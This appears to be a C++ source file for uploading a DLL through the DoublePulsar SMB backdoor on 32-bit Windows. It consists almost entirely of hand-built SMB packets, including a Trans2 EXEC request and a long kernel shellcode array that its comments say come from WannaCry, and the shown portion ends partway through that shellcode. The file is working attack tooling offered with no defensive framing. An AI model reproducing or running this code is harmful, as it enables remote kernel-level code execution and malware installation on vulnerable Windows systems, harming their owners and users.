DoublePulsar_UploadDLL_x86.cpp

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")

unsigned char SmbNegociate[] =
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54"
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";

unsigned char Session_Setup_AndX_Request[] =
"\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00"
"\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff"
"\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d"
"\x62\x00";

unsigned char SMB_TreeConnectAndX[] =
"\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00";

unsigned char SMB_TreeConnectAndX_[] = "\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

//Fixed Trans2 session setup PING packet.  This should work
unsigned char trans2_request[] =
"\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\xA6\xD9\xA4\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01"
"\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00";

//Trans2 session setup EXEC(C8 or \x25\x89\x1a\x00) request found in Wannacry
unsigned char wannacry_Trans2_Request[] =
"\x00\x00\x10\x4e\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
"\x00\x08\x42\x00\x0f\x0c\x00\x00\x10\x01\x00\x00\x00\x00\x00\x00"
"\x00\x25\x89\x1a\x00\x00\x00\x0c\x00\x42\x00\x00\x10\x4e\x00\x01"
"\x00\x0e\x00\x0d\x10\x00";

//32 bit x86 kernel shellcode to run DLL - taken from Wannacry, this is sent before the DLL payload
unsigned char x86_kernel_rundll_shellcode[] =
"\x8B\x44\x24\x04\x60\x89\xC5\x81\xEC\xB4"
  "\x00\x00\x00\x89\xE7\xB8\x10\x00\x00\x00"
  "\x89\x87\x9C\x00\x00\x00\xB8\x40\x00\x00"
  "\x00\x89\x87\xA0\x00\x00\x00\xB8\x98\x01"
  "\x00\x00\x89\x87\xA4\x00\x00\x00\xB8\x82"
  "\xE9\x43\x85\x89\x87\xA8\x00\x00\x00\xB8"
  "\x00\x00\x00\x00\x89\x87\xAC\x00\x00\x00"
  "\xB8\x00\x00\x00\x00\x89\x87\xB0\x00\x00"
  "\x00\xB8\x88\x01\x00\x00\x89\x87\x94\x00"
  "\x00\x00\x64\x8B\x1D\x38\x00\x00\x00\x66"
  "\x8B\x43\x06\xC1\xE0\x10\x66\x8B\x03\x66"
  "\x25\x00\xF0\x8B\x18\x66\x81\xFB\x4D\x5A"
  "\x74\x07\x2D\x00\x10\x00\x00\xEB\xF0\x89"
  "\x47\x4C\x89\xC3\xB9\x94\x01\x69\xE3\xE8"
  "\x8B\x03\x00\x00\x85\xC0\x0F\x84\x8A\x02"
  "\x00\x00\x89\x07\xB9\x85\x54\x83\xF0\xE8"
  "\x77\x03\x00\x00\x85\xC0\x0F\x84\x76\x02"
  "\x00\x00\x89\x47\x04\xB9\x84\x06\xE7\xF9"
  "\xE8\x62\x03\x00\x00\x85\xC0\x0F\x84\x61"
  "\x02\x00\x00\x89\x47\x08\xB9\xF9\x30\xAC"
  "\xA4\xE8\x4D\x03\x00\x00\x85\xC0\x0F\x84"
  "\x4C\x02\x00\x00\x89\x47\x0C\xB9\xAE\xB8"
  "\x9F\x5D\xE8\x38\x03\x00\x00\x85\xC0\x0F"
  "\x84\x37\x02\x00\x00\x89\x47\x10\xB9\xF6"
  "\x10\x00\xB8\xE8\x23\x03\x00\x00\x85\xC0"
  "\x0F\x84\x22\x02\x00\x00\x89\x47\x14\xB9"
  "\xCA\xD6\x5F\xD2\xE8\x0E\x03\x00\x00\x85"
  "\xC0\x0F\x84\x0D\x02\x00\x00\x89\x47\x18"
  "\xB9\xEE\x88\x6E\x0A\xE8\xF9\x02\x00\x00"
  "\x85\xC0\x0F\x84\xF8\x01\x00\x00\x89\x47"
  "\x1C\xB9\xCE\x0C\xB5\xDB\xE8\xE4\x02\x00"
  "\x00\x85\xC0\x0F\x84\xE3\x01\x00\x00\x89"
  "\x47\x20\xB9\x02\xB8\x9B\xD2\xE8\xCF\x02"
  "\x00\x00\x85\xC0\x0F\x84\xCE\x01\x00\x00"
  "\x89\x47\x24\xB9\x09\x89\x30\xDF\xE8\xBA"
  "\x02\x00\x00\x85\xC0\x0F\x84\xB9\x01\x00"
  "\x00\x89\x47\x28\xB9\x7D\xE3\x4D\xA0\xE8"
  "\xA5\x02\x00\x00\x85\xC0\x0F\x84\xA4\x01"
  "\x00\x00\x89\x47\x2C\xB9\xDF\x81\x14\x3E"
  "\xE8\x90\x02\x00\x00\x85\xC0\x0F\x84\x8F"
  "\x01\x00\x00\x89\x47\x30\xB9\xBA\x1E\x03"
  "\xA0\xE8\x7B\x02\x00\x00\x85\xC0\x0F\x84"
  "\x7A\x01\x00\x00\x89\x47\x34\xB9\x4F\xFE"
  "\xEB\x15\xE8\x66\x02\x00\x00\x85\xC0\x0F"
  "\x84\x65\x01\x00\x00\x89\x47\x38\xB9\xCA"
  "\xBE\xD0\xEC\xE8\x51\x02\x00\x00\x85\xC0"
  "\x0F\x84\x50\x01\x00\x00\x89\x47\x3C\xB9"
  "\x79\xA8\x24\x11\xE8\x3C\x02\x00\x00\x85"
  "\xC0\x0F\x84\x3B\x01\x00\x00\x89\x47\x40"
  "\xB9\x37\xC6\x90\x4F\xE8\x27\x02\x00\x00"
  "\x85\xC0\x0F\x84\x26\x01\x00\x00\x89\x47"
  "\x44\xB9\x6C\xE7\xFE\x10\xE8\x12\x02\x00"
  "\x00\x85\xC0\x0F\x84\x11\x01\x00\x00\x89"
  "\x47\x48\xE8\xCF\x01\x00\x00\x8B\x87\x98"
  "\x00\x00\x00\x85\xC0\x0F\x84\xFB\x00\x00"
  "\x00\xE8\x02\x01\x00\x00\x85\xC0\x0F\x84"
  "\xEE\x00\x00\x00\x89\x47\x58\x8D\x8D\x91"
  "\x05\x00\x00\xFF\x31\x6A\x40\x68\x00\x10"
  "\x00\x00\x51\x6A\x00\xC7\x47\x54\x00\x00"
  "\x00\x00\x8D\x4F\x54\x51\x6A\xFF\xFF\x57"
  "\x10\x59\x85\xC0\x0F\x85\xB3\x00\x00\x00"
  "\x57\x8D\xB5\x95\x05\x00\x00\x8B\x7F\x54"
  "\xF3\xA4\x5F\xB8\x3C\x00\x00\x00\x8B\x8F"
  "\x94\x00\x00\x00\x03\x4F\x58\x89\xCE\x8B"
  "\x11\x39\xD6\x0F\x84\x8C\x00\x00\x00\x2B"
  "\x97\x98\x00\x00\x00\x50\x51\x52\x52\xFF"
  "\x57\x48\x5A\x59\x85\xC0\x74\x2C\x51\xB9"
  "\xA8\x01\x00\x00\x01\xC8\x85\xC9\x59\x74"
  "\x06\x8B\x00\x85\xC0\x74\x19\x58\x01\xC2"
  "\x50\x31\xC0\x3C\x01\x74\x0A\x8B\x02\x0F"
  "\xBA\xE0\x05\x72\x0C\xEB\x05\x80\x3A\x01"
  "\x74\x05\x58\x8B\x09\xEB\xB2\x58\x29\xC2"
  "\x89\x97\x8C\x00\x00\x00\x6A\x50\x6A\x00"
  "\xFF\x17\x85\xC0\x74\x42\x89\x87\x90\x00"
  "\x00\x00\xC7\x40\x40\xC2\x14\x00\x00\x6A"
  "\x00\x6A\x01\xFF\x77\x54\x6A\x00\x8D\x50"
  "\x40\x52\x6A\x00\xFF\xB7\x8C\x00\x00\x00"
  "\x50\xFF\x57\x14\x6A\x00\x6A\x00\x6A\x00"
  "\xFF\xB7\x90\x00\x00\x00\xFF\x57\x18\x8D"
  "\x4F\x5C\x51\xFF\x57\x0C\x8B\x4F\x58\xFF"
  "\x57\x3C\x81\xC4\xB4\x00\x00\x00\x61\x31"
  "\xC0\xC2\x04\x00\x51\x56\x57\x53\xB9\x08"
  "\x00\x00\x00\x51\x8D\x77\x58\x56\x51\xFF"
  "\x57\x30\x85\xC0\x0F\x85\x83\x00\x00\x00"
  "\x8B\x77\x58\x8B\x9F\xA4\x00\x00\x00\x8B"
  "\x04\x1E\x83\xF8\x02\x7C\x6D\x56\xFF\x57"
  "\x34\xE8\x6C\x01\x00\x00\x8B\x8F\xA8\x00"
  "\x00\x00\x39\xC8\x75\x5A\x8D\x4F\x5C\x51"
  "\x56\xFF\x57\x08\x56\xFF\x57\x38\x85\xC0"
  "\x74\x3C\x8B\x9F\x9C\x00\x00\x00\x8B\x04"
  "\x18\x85\xC0\x74\x2F\x31\xC9\x8B\x9F\xA0"
  "\x00\x00\x00\x66\x8B\x0C\x18\x8B\x44\x18"
  "\x04\x85\xC0\x74\x1B\x8B\x9F\xB0\x00\x00"
  "\x00\x29\xD9\x7C\x11\x01\xC8\xE8\x5F\x01"
  "\x00\x00\x8B\x8F\xAC\x00\x00\x00\x39\xC8"
  "\x74\x24\xC7\x47\x58\x00\x00\x00\x00\x8D"
  "\x4F\x5C\x51\xFF\x57\x0C\x89\xF1\xFF\x57"
  "\x3C\x59\x81\xF9\x00\x00\x01\x00\x7F\x0D"
  "\x83\xC1\x04\xE9\x5B\xFF\xFF\xFF\x59\x89"
  "\xF0\xEB\x02\x31\xC0\x5B\x5F\x5E\x59\xC3"
  "\x60\xFF\x57\x44\x89\xC6\x8B\x87\x94\x00"
  "\x00\x00\x01\xC6\xFF\x57\x40\x89\xF1\x39"
  "\xF0\x77\x14\x8D\x90\x80\x02\x00\x00\x39"
  "\xF2\x72\x0A\x29\xC6\x89\xB7\x98\x00\x00"
  "\x00\xEB\x06\x8B\x36\x39\xCE\x75\xE2\x61"
  "\xC3\x53\x52\x51\x57\x55\x89\xE5\x83\xEC"
  "\x18\x89\xCF\x89\xD8\x89\x45\xFC\xE8\x7F"
  "\x00\x00\x00\x85\xC0\x74\x6E\x89\x45\xF8"
  "\xE8\xF3\x00\x00\x00\x89\x45\xF4\x8B\x45"
  "\xFC\x8B\x4D\xF8\xE8\x16\x01\x00\x00\x85"
  "\xC0\x74\x54\x89\x45\xF0\x8B\x45\xFC\x8B"
  "\x4D\xF8\xE8\x0C\x01\x00\x00\x85\xC0\x74"
  "\x42\x89\x45\xEC\x8B\x45\xFC\x8B\x4D\xF8"
  "\xE8\x02\x01\x00\x00\x85\xC0\x74\x30\x89"
  "\x45\xE8\x8B\x45\xFC\x89\xF9\x8B\x55\xEC"
  "\x8B\x5D\xF4\xE8\xB0\x00\x00\x00\x83\xF8"
  "\xFF\x74\x21\x89\xC1\x8B\x45\xE8\xE8\xE4"
  "\x00\x00\x00\x66\x89\xC2\x8B\x45\xFC\x8B"
  "\x4D\xF0\xE8\xDE\x00\x00\x00\x83\xC4\x18"
  "\x5D\x5F\x59\x5A\x5B\xC3\x31\xC0\xEB\xF3"
  "\x56\x89\xC6\x83\xC6\x3C\x8B\x36\x01\xC6"
  "\x66\x81\x3E\x50\x45\x75\x09\x83\xC6\x78"
  "\x8B\x36\x01\xF0\x5E\xC3\x31\xC0\xEB\xFA"
  "\x56\x51\x57\x89\xC6\x31\xC0\x89\xC7\xC1"
  "\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E"
  "\x80\xF9\x00\x74\x05\x01\xC8\x46\xEB\xE9"
  "\x5F\x59\x5E\xC3\x56\x57\x52\x89\xC6\x31"
  "\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8"
  "\x31\xD2\x8A\x16\x01\xD0\x46\xE2\xEE\x5A"
  "\x5F\x5E\xC3\x56\x51\x57\x89\xC6\x31\xC0"
  "\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31"
  "\xC9\x8A\x0E\x80\xF9\x00\x74\xC6\x01\xC8"
  "\x46\x46\xEB\xE8\x5F\x59\x5E\xC3\x83\xC0"
  "\x18\x8B\x00\xC3\x57\x56\x51\x31\xFF\x89"
  "\xC6\x39\xDF\x74\x19\x8B\x04\xBA\x01\xF0"
  "\xE8\x83\xFF\xFF\xFF\x39\xC8\x74\x07\x47"
  "\xEB\xEB\x59\x5E\x5F\xC3\x89\xF8\xEB\xF8"
  "\xB8\xFF\xFF\xFF\xFF\xEB\xF1\x83\xC1\x1C"
  "\x8B\x09\x01\xC8\xC3\x83\xC1\x20\x8B\x09"
  "\x01\xC8\xC3\x83\xC1\x24\x8B\x09\x01\xC8"
  "\xC3\xD1\xE1\x01\xC8\x66\x8B\x00\xC3\x81"
  "\xE2\xFF\xFF\x00\x00\xC1\xE2\x02\x01\xD1"
  "\x8B\x09\x01\xC8\xC3\x70\x7D\x00\x00\x60"
  "\x89\xE0\x81\xEC\x00\x04\x00\x00\xE9\x52"
  "\x0D\x00\x00\x5D\x8D\xB4\x24\x00\x02\x00"
  "\x00\x89\x06\x31\xFF\x64\x8B\x07\x89\x46"
  "\x04\x8D\x55\xC8\x31\xC9\x49\x64\xFF\x37"
  "\x56\x55\x51\x52\x52\x64\xFF\x37\x64\x89"
  "\x27\x8D\x7D\x9A\x56\x83\xC6\x08\x31\xC9"
  "\x8A\x0F\x84\xC9\x74\x30\x47\x8B\x17\x83"
  "\xC7\x04\x8B\x1F\x83\xC7\x04\x53\x52\xE8"
  "\x05\x0C\x00\x00\x51\x0F\xB6\x0F\x47\x85"
  "\xC9\x59\x75\x08\x85\xC0\x0F\x84\xED\x0B"
  "\x00\x00\x89\x06\x83\xC6\x04\x49\x85\xC9"
  "\x75\xD8\xEB\xC8\x5E\x56\x83\xEC\x1C\x31"
  "\xC0\x89\x44\x24\x18\x89\x44\x24\x14\x89"
  "\x44\x24\x10\x89\x44\x24\x0C\x89\x44\x24"
  "\x08\x64\x8B\x1D\x18\x00\x00\x00\x8B\x5B"
  "\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73\x10"
  "\x89\xF2\x56\x89\xF7\x83\xC6\x3C\x03\x3E"
  "\x5E\x53\x89\xFB\x0F\xB7\x4B\x06\x0F\xB7"
  "\x43\x14\x5B\x85\xC9\x0F\x84\xE3\x00\x00"
  "\x00\x89\x4C\x24\x04\x57\x83\xC7\x18\x83"
  "\xC7\x60\x8B\x0F\x85\xC9\x74\x02\x01\xF1"
  "\x89\x4C\x24\x18\x8B\x4F\x04\x89\x4C\x24"
  "\x1C\x5F\x01\xC7\x83\xC7\x18\x89\x3C\x24"
  "\x89\xF8\x83\xC0\x24\x8B\x00\x25\x00\x00"
  "\x00\x20\x85\xC0\x0F\x84\x8C\x00\x00\x00"
  "\x89\xF9\x83\xC1\x08\x83\xC7\x0C\x8B\x09"
  "\x8B\x3F\x01\xF7\x83\xF9\x0D\x7C\x79\x83"
  "\xE9\x0D\x83\xC7\x07\x8B\x44\x24\x14\x85"
  "\xC0\x74\x16\x39\xC7\x72\x12\x03\x44\x24"
  "\x18\x39\xC7\x73\x0A\x01\xF9\x39\xC1\x76"
  "\x59\x29\xC1\x89\xC7\x8D\x44\x24\x0C\x50"
  "\xE8\x0D\x0A\x00\x00\x85\xC0\x74\x09\xE8"
  "\x7D\x0A\x00\x00\x85\xC0\x75\x06\x47\x49"
  "\xE3\x3A\xEB\xC5\x83\xF8\x02\x74\x0D\x8B"
  "\x44\x24\x08\x85\xC0\x75\xED\xB8\x01\x00"
  "\x00\x00\x89\x44\x24\x08\x56\x8B\x74\x24"
  "\x20\x89\x7E\x20\x8B\x44\x24\x14\x89\x46"
  "\x24\x8B\x44\x24\x10\x89\x46\x28\x5E\x8B"
  "\x44\x24\x08\x83\xF8\x01\x74\xC4\xEB\x40"
  "\x8B\x3C\x24\x8B\x4C\x24\x04\x83\xC7\x28"
  "\x83\xE9\x01\x85\xC9\x89\x3C\x24\x89\x4C"
  "\x24\x04\x0F\x85\x44\xFF\xFF\xFF\x31\xC0"
  "\x8B\x1B\x8B\x73\x10\x39\xC6\x74\xF5\x39"
  "\xF2\x74\x05\xE9\xEC\xFE\xFF\xFF\x8B\x04"
  "\x24\x85\xC0\x75\x09\x83\xC4\x1C\x5E\xE9"
  "\x88\x0A\x00\x00\x83\xC4\x1C\x5E\x56\x89"
  "\xF2\x89\xF7\x83\xC6\x08\x89\xF2\x83\xC7"
  "\x2C\xB9\x06\x00\x00\x00\xF3\xA5\x89\xD7"
  "\x8D\xB5\x03\xFD\xFF\xFF\xB9\x06\x00\x00"
  "\x00\x89\x37\x83\xC7\x04\x83\xC6\x04\xE2"
  "\xF6\x5E\xBA\x40\x00\x00\x00\x52\xBA\x00"
  "\x30\x00\x00\x52\xFF\x75\x03\x6A\x00\xFF"
  "\x56\x08\x85\xC0\x0F\x84\x53\x08\x00\x00"
  "\x89\xC3\x56\x8B\x4D\x03\x8D\x75\x0B\x89"
  "\xDF\xF3\xA4\x5E\x89\x5E\x44\x8B\x45\x03"
  "\x89\x46\x48\x8B\x4D\x03\x8D\x7D\x0B\x31"
  "\xC0\xF3\xAA\x8D\x85\x00\xFB\xFF\xFF\x89"
  "\x85\xCF\xF6\xFF\xFF\x8D\x85\x07\xFB\xFF"
  "\xFF\x89\x85\xD3\xF6\xFF\xFF\x8D\x85\x38"
  "\xFB\xFF\xFF\x89\x85\xDB\xF6\xFF\xFF\x8D"
  "\x85\x98\xFA\xFF\xFF\x89\x85\xDF\xF6\xFF"
  "\xFF\x8B\x7E\x28\x8D\x85\x17\xFB\xFF\xFF"
  "\xF7\xC7\x10\x00\x00\x00\x75\x01\x40\x89"
  "\x85\xD7\xF6\xFF\xFF\x55\x8D\xAD\x6A\xF6"
  "\xFF\xFF\x8B\x7E\x44\xE8\xBD\x01\x00\x00"
  "\x85\xC0\x0F\x85\xE5\x00\x00\x00\xE8\x17"
  "\x02\x00\x00\x85\xC0\x0F\x84\xD8\x00\x00"
  "\x00\x89\x45\x10\x8B\x7D\x04\x83\xC7\x34"
  "\x8B\x3F\x8B\x45\x10\x29\xF8\x89\x45\x14"
  "\xE8\x2E\x02\x00\x00\x85\xC0\x0F\x85\xB8"
  "\x00\x00\x00\xE8\x83\x02\x00\x00\x85\xC0"
  "\x0F\x85\xAB\x00\x00\x00\xE8\x75\x03\x00"
  "\x00\x85\xC0\x0F\x85\x9E\x00\x00\x00\xE8"
  "\x7A\x03\x00\x00\x85\xC0\x0F\x85\x91\x00"
  "\x00\x00\xE8\x23\x04\x00\x00\x85\xC0\x0F"
  "\x85\x84\x00\x00\x00\xE8\xE6\x04\x00\x00"
  "\x85\xC0\x75\x7B\x8B\x45\x10\x89\x46\x4C"
  "\x8B\x45\x0C\x89\x46\x50\x5D\x8B\x45\x07"
  "\x89\x46\x54\x8B\x7E\x4C\x8B\x56\x50\x83"
  "\xC2\x00\x8B\x12\x85\xD2\x74\x4B\x01\xD7"
  "\x8B\x46\x54\x89\xFA\x83\xC2\x10\x8B\x12"
  "\x29\xD0\x89\xFA\x83\xC2\x14\x8B\x12\x83"
  "\xF8\x00\x7C\x31\x39\xD0\x7D\x2D\x89\xFA"
  "\x83\xC2\x1C\x8B\x12\x03\x56\x4C\xC1\xE0"
  "\x02\x01\xC2\x8B\x12\x03\x56\x4C\x57\x89"
  "\xE7\x8B\x46\x44\x8B\x5E\x48\x53\x50\xB8"
  "\x02\x00\x00\x00\x50\xFF\xD2\x89\xFC\x5F"
  "\x89\x46\x58\x55\x8D\xAD\x6A\xF6\xFF\xFF"
  "\xE8\x4B\x04\x00\x00\xEB\x00\x8B\x7D\x10"
  "\x85\xFF\x74\x4A\x8D\x45\x61\x50\xB8\x40"
  "\x00\x00\x00\x50\x8B\x45\x28\x50\x8B\x45"
  "\x10\x50\xFF\x56\x1C\x85\xC0\x74\x07\x8B"
  "\x4D\x28\x31\xC0\xF3\xAA\x8B\x7D\x10\x68"
  "\x00\x80\x00\x00\x6A\x00\x57\xFF\x56\x0C"
  "\x8B\x7D\x30\x85\xFF\x74\x15\x8B\x4D\x34"
  "\x31\xC0\xF3\xAA\x8B\x7D\x30\x68\x00\x80"
  "\x00\x00\x6A\x00\x57\xFF\x56\x0C\x5D\xE9"
  "\x97\x06\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\xB8\xFF\xFF\xFF\xFF\xE9"
  "\x50\x09\x00\x00\x6D\x73\x76\x63\x72\x74"
  "\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72"
  "\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x57\x52\x53\x89\x7D"
  "\x00\x89\xFA\x83\xC2\x00\x66\x8B\x1A\x66"
  "\x81\xFB\x4D\x5A\x75\x4A\x89\xFA\x83\xC2"
  "\x3C\x8B\x1A\x01\xDF\x89\x7D\x04\x89\xFA"
  "\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00"
  "\x00\x75\x2F\x89\xFA\x83\xC2\x18\x66\x8B"
  "\x1A\x66\x81\xFB\x0B\x01\x75\x20\x89\xFA"
  "\x83\xC2\x14\x31\xDB\x66\x8B\x1A\x89\xFA"
  "\x83\xC2\x18\x01\xDA\x89\x55\x08\x89\xFA"
  "\x83\xC2\x78\x89\x55\x0C\x31\xC0\xEB\x04"
  "\x31\xC0\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52"
  "\x53\x8B\x7D\x04\x83\xC7\x50\x8B\x1F\x89"
  "\x5D\x28\x8B\x7D\x04\x83\xC7\x34\x8B\x17"
  "\x6A\x40\x68\x00\x30\x00\x00\x53\x52\xFF"
  "\x56\x08\x85\xC0\x75\x0D\x6A\x40\x68\x00"
  "\x30\x00\x00\x53\x6A\x00\xFF\x56\x08\x5B"
  "\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x76"
  "\x44\x8B\x7D\x10\x8B\x5D\x04\x83\xC3\x54"
  "\x8B\x0B\xF3\xA4\x5E\x8B\x7D\x04\x83\xC7"
  "\x06\x31\xDB\x66\x8B\x1F\x31\xD2\x39\xD3"
  "\x74\x2E\xB8\x28\x00\x00\x00\x52\xF7\xE2"
  "\x5A\x03\x45\x08\x56\x8B\x76\x44\x89\xC1"
  "\x83\xC1\x14\x03\x31\x8B\x7D\x10\x89\xC1"
  "\x83\xC1\x0C\x03\x39\x89\xC1\x83\xC1\x10"
  "\x8B\x09\xF3\xA4\x5E\x42\xEB\xCE\x31\xC0"
  "\xEB\x04\x31\xC0\xF7\xD0\x59\x5B\x5A\x5F"
  "\xC3\x57\x52\x53\x51\x8B\x7D\x10\xE8\xF4"
  "\xFE\xFF\xFF\x85\xC0\x0F\x85\xDE\x00\x00"
  "\x00\xE8\x40\x03\x00\x00\x85\xC0\x0F\x85"
  "\xD1\x00\x00\x00\x8B\x7D\x00\xB8\x08\x00"
  "\x00\x00\xBA\x01\x00\x00\x00\xF7\xE2\x8B"
  "\x55\x0C\x01\xC2\x83\xC2\x00\x8B\x1A\x01"
  "\xFB\x89\x5D\x18\x39\xFB\x0F\x84\xB1\x00"
  "\x00\x00\x89\xD8\x83\xC0\x10\x8B\x00\x85"
  "\xC0\x0F\x84\xA2\x00\x00\x00\x8B\x45\x00"
  "\x89\xDA\x83\xC2\x0C\x03\x02\x50\xFF\x56"
  "\x10\x85\xC0\x0F\x84\x86\x00\x00\x00\x89"
  "\x45\x24\x89\xDA\x83\xC2\x00\x8B\x7D\x00"
  "\x03\x3A\x89\x7D\x1C\x89\xDA\x83\xC2\x10"
  "\x8B\x7D\x00\x03\x3A\x89\x7D\x20\x8B\x55"
  "\x1C\x8B\x12\x85\xD2\x74\x58\x89\xD7\x81"
  "\xE7\x00\x00\x00\x80\x74\x0A\x89\xD7\x81"
  "\xE7\xFF\xFF\x00\x00\xEB\x08\x8B\x7D\x00"
  "\x01\xD7\x83\xC7\x02\x57\x8B\x7D\x24\x57"
  "\xFF\x56\x14\x85\xC0\x74\x38\x8B\x55\x20"
  "\x89\x02\xE8\xCD\x03\x00\x00\x85\xC0\x74"
  "\x0E\xE8\x88\x03\x00\x00\x85\xC0\x75\x05"
  "\xE8\x13\x03\x00\x00\x8B\x55\x1C\x83\xC2"
  "\x04\x89\x55\x1C\x8B\x55\x20\x83\xC2\x04"
  "\x89\x55\x20\xEB\x9F\x83\xC3\x14\xE9\x55"
  "\xFF\xFF\xFF\x31\xC0\xF7\xD0\xEB\x02\x31"
  "\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x8B\x7D"
  "\x04\x83\xC7\x34\x8B\x55\x10\x89\x17\x31"
  "\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x55"
  "\x14\x85\xD2\x0F\x84\xA0\x00\x00\x00\xB8"
  "\x08\x00\x00\x00\xBA\x05\x00\x00\x00\xF7"
  "\xE2\x8B\x55\x0C\x01\xC2\x89\xD7\x83\xC7"
  "\x04\x8B\x3F\x85\xFF\x74\x7E\x89\xD7\x83"
  "\xC7\x00\x8B\x3F\x85\xFF\x74\x73\x8B\x55"
  "\x10\x01\xFA\x89\xD7\x83\xC7\x04\x8B\x3F"
  "\x85\xFF\x74\x69\x83\xEF\x08\xD1\xEF\x31"
  "\xC9\x39\xF9\x74\x4D\x89\xD3\x83\xC3\x08"
  "\x89\xC8\xD1\xE0\x01\xC3\xC7\x45\x2C\x00"
  "\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0"
  "\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x27"
  "\x66\x83\xF8\x03\x75\x21\x89\xD0\x83\xC0"
  "\x00\x8B\x00\x89\x45\x2C\x31\xC0\x66\x8B"
  "\x03\x66\x25\xFF\x0F\x01\x45\x2C\x8B\x45"
  "\x10\x03\x45\x2C\x8B\x5D\x14\x01\x18\x41"
  "\xEB\xAF\x89\xD7\x83\xC7\x04\x8B\x3F\x01"
  "\xFA\xEB\x92\x31\xC0\xF7\xD0\xEB\x02\x31"
  "\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51"
  "\x8B\x7D\x04\x83\xC7\x06\x31\xDB\x66\x8B"
  "\x1F\x31\xD2\x39\xD3\x0F\x84\x92\x00\x00"
  "\x00\xB8\x28\x00\x00\x00\x52\xF7\xE2\x5A"
  "\x03\x45\x08\x89\xC7\x83\xC7\x24\x8B\x3F"
  "\xC7\x45\x5D\x00\x00\x00\x00\xF7\xC7\x00"
  "\x00\x00\x02\x75\x64\xF7\xC7\x00\x00\x00"
  "\x40\x74\x07\xC7\x45\x5D\x02\x00\x00\x00"
  "\xF7\xC7\x00\x00\x00\x80\x74\x07\xC7\x45"
  "\x5D\x04\x00\x00\x00\xF7\xC7\x00\x00\x00"
  "\x20\x74\x1A\x83\x7D\x5D\x02\x75\x07\xC7"
  "\x45\x5D\x20\x00\x00\x00\x83\x7D\x5D\x04"
  "\x75\x07\xC7\x45\x5D\x40\x00\x00\x00\x8B"
  "\x7D\x10\x89\xC1\x83\xC1\x0C\x03\x39\x89"
  "\xC1\x83\xC1\x08\x8B\x09\x52\x8D\x45\x61"
  "\x50\x8B\x45\x5D\x50\x51\x57\xFF\x56\x1C"
  "\x5A\x85\xC0\x74\x06\x42\xE9\x6C\xFF\xFF"
  "\xFF\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59"
  "\x5B\x5A\x5F\xC3\x52\x57\x8B\x55\x10\x8B"
  "\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A"
  "\x00\x6A\x00\x8B\x7D\x10\x57\xFF\xD2\x31"
  "\xC0\x5F\x5A\xC3\x52\x57\x8B\x55\x10\x8B"
  "\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A"
  "\x00\x6A\x01\x8B\x7D\x10\x57\xFF\xD2\x31"
  "\xC0\x5F\x5A\xC3\x39\xEC\x7D\x79\x57\x56"
  "\x53\x89\xE6\x83\xC6\x0C\x55\x6A\x00\x89"
  "\xE3\x51\x52\x89\xE9\x29\xF1\x83\xF9\x04"
  "\x7C\x5A\x50\x52\x53\xB8\x0F\x00\x00\x00"
  "\x6B\xC0\x04\x39\xC8\x7D\x02\x89\xC1\xBA"
  "\x00\x00\x00\x00\x89\xC8\xBB\x04\x00\x00"
  "\x00\xF7\xFB\x48\x6A\x00\x83\xF8\x00\x75"
